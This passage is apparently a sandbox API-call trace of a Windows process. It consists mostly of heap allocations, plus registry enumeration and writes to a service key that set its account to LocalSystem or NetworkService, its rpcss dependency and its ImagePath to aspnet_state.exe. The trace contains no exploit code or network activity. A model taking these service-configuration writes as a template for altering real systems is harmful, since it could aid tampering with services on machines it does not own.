Flags=0x8, Size=0x40) returned 0x1de47f8 [0249.563] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de46d8) returned 1 [0249.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de46d8 [0249.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4840 [0249.563] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e6f870) returned 1 [0249.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d3a8 [0249.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4888 [0249.563] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de46d8) returned 1 [0249.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de46d8 [0249.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d3b8 [0249.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de48d0 [0249.563] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de46d8) returned 1 [0249.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de46d8 [0249.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d3c8 [0249.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4918 [0249.563] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de46d8) returned 1 [0249.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de46d8 [0249.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d3d8 [0249.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4960 [0249.563] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de46d8) returned 1 [0249.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de46d8 [0249.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x50) returned 0x1dd77f8 [0249.563] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4840) returned 1 [0249.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d3e8 [0249.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4840 [0249.563] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de46d8) returned 1 [0249.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x50) returned 0x58dd90 [0249.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d3f8 [0249.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de46d8 [0249.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d408 [0249.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de49a8 [0249.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d418 [0249.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de49f0 [0249.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d428 [0249.563] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a38 [0249.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d438 [0249.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0249.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d448 [0249.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4ac8 [0249.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d458 [0249.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4b10 [0249.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d468 [0249.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4b58 [0249.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d478 [0249.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4ba0 [0249.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d488 [0249.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4be8 [0249.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d498 [0249.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4c30 [0249.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d4a8 [0249.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4c78 [0249.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d4b8 [0249.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4cc0 [0249.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d4c8 [0249.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4d08 [0249.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d4d8 [0249.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4d50 [0249.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d4e8 [0249.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4d98 [0249.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d4f8 [0249.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0249.564] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0249.564] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d378) returned 1 [0249.564] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4690) returned 1 [0249.564] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d358) returned 1 [0249.564] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4648) returned 1 [0249.564] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d348) returned 1 [0249.564] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4600) returned 1 [0249.564] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d338) returned 1 [0249.564] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de45b8) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d328) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4570) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d318) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4528) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d308) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2f8) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d258) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d268) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47b0) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d388) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47f8) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d398) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4888) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d3a8) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de48d0) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d3b8) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4918) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d3c8) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4960) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d3d8) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4840) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d3e8) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd77f8) returned 1 [0249.565] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd29e0) returned 1 [0249.565] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x50) returned 0x1dd77f8 [0249.565] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d3e8 [0249.565] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4840 [0249.565] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d3d8 [0249.565] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4960 [0249.566] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d3c8 [0249.566] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4918 [0249.566] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d3b8 [0249.566] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de48d0 [0249.566] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d3a8 [0249.566] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4888 [0249.566] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d398 [0249.566] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47f8 [0249.566] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d388 [0249.566] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de47b0 [0249.566] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d268 [0249.566] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.566] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d258 [0249.566] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4498 [0249.566] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2f8 [0249.566] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0249.566] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d308 [0249.566] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4528 [0249.566] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d318 [0249.566] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4570 [0249.566] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x1e708b8*, cbData=0x195 | out: lpData=0x1e708b8*) returned 0x0 [0249.567] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e708b8) returned 1 [0249.567] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0249.567] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0249.567] RegEnumValueA (in: hKey=0xc8, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.567] RegEnumValueA (in: hKey=0xc8, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.567] RegEnumValueA (in: hKey=0xc8, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.567] RegEnumValueA (in: hKey=0xc8, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.567] RegEnumValueA (in: hKey=0xc8, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.567] RegEnumValueA (in: hKey=0xc8, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.567] RegEnumValueA (in: hKey=0xc8, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.567] RegEnumValueA (in: hKey=0xc8, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.567] RegEnumValueA (in: hKey=0xc8, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.567] RegEnumValueA (in: hKey=0xc8, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.567] RegEnumValueA (in: hKey=0xc8, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.567] RegEnumValueA (in: hKey=0xc8, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.568] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0249.568] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4b10) returned 1 [0249.568] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="NT AUTHORITY\\NetworkService", cbData=0x1c | out: lpData="NT AUTHORITY\\NetworkService") returned 0x0 [0249.568] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4b10) returned 1 [0249.568] RegEnumValueA (in: hKey=0xc8, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.568] RegEnumValueA (in: hKey=0xc8, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.568] RegEnumValueA (in: hKey=0xc8, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.568] RegEnumValueA (in: hKey=0xc8, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.568] RegEnumValueA (in: hKey=0xc8, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.568] RegEnumValueA (in: hKey=0xc8, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.568] RegEnumValueA (in: hKey=0xc8, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.568] RegEnumValueA (in: hKey=0xc8, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.568] RegEnumValueA (in: hKey=0xc8, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.568] RegEnumValueA (in: hKey=0xc8, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.569] RegEnumValueA (in: hKey=0xc8, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.569] RegEnumValueA (in: hKey=0xc8, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.569] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0249.569] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47f8) returned 1 [0249.569] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0249.569] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47f8) returned 1 [0249.569] RegEnumValueA (in: hKey=0xc8, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.569] RegEnumValueA (in: hKey=0xc8, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.569] RegEnumValueA (in: hKey=0xc8, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.569] RegEnumValueA (in: hKey=0xc8, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.569] RegEnumValueA (in: hKey=0xc8, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.569] RegEnumValueA (in: hKey=0xc8, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.569] RegEnumValueA (in: hKey=0xc8, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.569] RegEnumValueA (in: hKey=0xc8, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.569] RegEnumValueA (in: hKey=0xc8, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.569] RegEnumValueA (in: hKey=0xc8, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.570] RegEnumValueA (in: hKey=0xc8, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.570] RegEnumValueA (in: hKey=0xc8, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.570] ExpandEnvironmentStringsA (in: lpSrc="%SystemRoot%\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x42 [0249.570] ExpandEnvironmentStringsA (in: lpSrc="%SystemRoot%\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state.exe", lpDst=0x1de5f28, nSize=0x42 | out: lpDst="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state.exe") returned 0x41 [0249.570] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state.exe", cbData=0x41 | out: lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state.exe") returned 0x0 [0249.570] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5ea0) returned 1 [0249.570] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4690) returned 1 [0249.570] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1de5fb0, cbMultiByte=64, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 64 [0249.570] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1de5fb0, cbMultiByte=64, lpWideCharStr=0x1e6e470, cchWideChar=64 | out: lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state.exe") returned 64 [0249.570] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state.exe", pNumArgs=0x18fb80 | out: pNumArgs=0x18fb80) returned 0x5d3a08*="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state.exe" [0249.570] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d678 [0249.570] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d458 [0249.570] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1e6e470 [0249.570] LocalFree (hMem=0x5d3a08) returned 0x0 [0249.570] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e6e578) returned 1 [0249.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state.exe", cchWideChar=64, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0249.570] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5ea0 [0249.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state.exe", cchWideChar=64, 